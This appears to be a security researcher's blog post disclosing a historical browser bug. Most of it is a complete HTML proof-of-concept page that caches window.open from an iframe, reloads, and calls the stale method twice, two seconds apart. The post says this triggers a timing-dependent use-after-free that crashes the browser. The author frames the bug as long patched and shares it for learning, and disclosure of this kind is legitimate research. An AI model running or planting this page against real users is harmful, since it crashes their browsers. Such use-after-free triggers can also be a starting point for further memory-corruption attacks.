While revisiting the cached window.open technique, I found that invoking the stale method twice in quick succession — after it had already been used to navigate the ghost iframe — was enough to crash the browser. The first call succeeds; the second call, coming a couple of seconds later against a context that has already changed, causes a fault.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DoS_CachedWindowOpen</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>DoS_CachedWindowOpen</h2>
</center>
<hr />
1) Cache the window.open method from an IFRAME in the (top)opener and reload the main page.<br />
<font color="red">opener</font> = <font color="blue">ifr.open</font>;<br />
<font color="blue">location.reload()</font>;<br /><br />

2) Use the cached open method to open a new URL, wait a few seconds, and use the method again.<br />
<font color="blue">cachedWindowOpen</font> = <font color="red">opener</font>;<br />
<font color="blue">cachedWindowOpen</font>("http://www.google.com","_self");<br />
setTimeout('<font color="blue">cachedWindowOpen</font>("http://www.google.com","_self")',2000);<br /><br />

<hr />
<iframe name="ifr"></iframe>

<script language="JavaScript">
if (!window.opener)
{
	opener = ifr.open;
	location.reload();
}
else
{
	cachedWindowOpen = opener;
	cachedWindowOpen("http://www.google.com","_self");
	setTimeout('cachedWindowOpen("http://www.google.com","_self");',2000);
}

</script>
</body>
</html>

This is a denial-of-service variation built on the same cached window.open primitive explored in earlier posts. After the page reload, the first call to cachedWindowOpen navigates the ghost iframe context to Google successfully. The second call two seconds later hits a partially invalidated internal state — the ghost context’s navigation machinery has been modified by the first call — and the browser crashes. It is a simple timing-dependent use-after-free.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.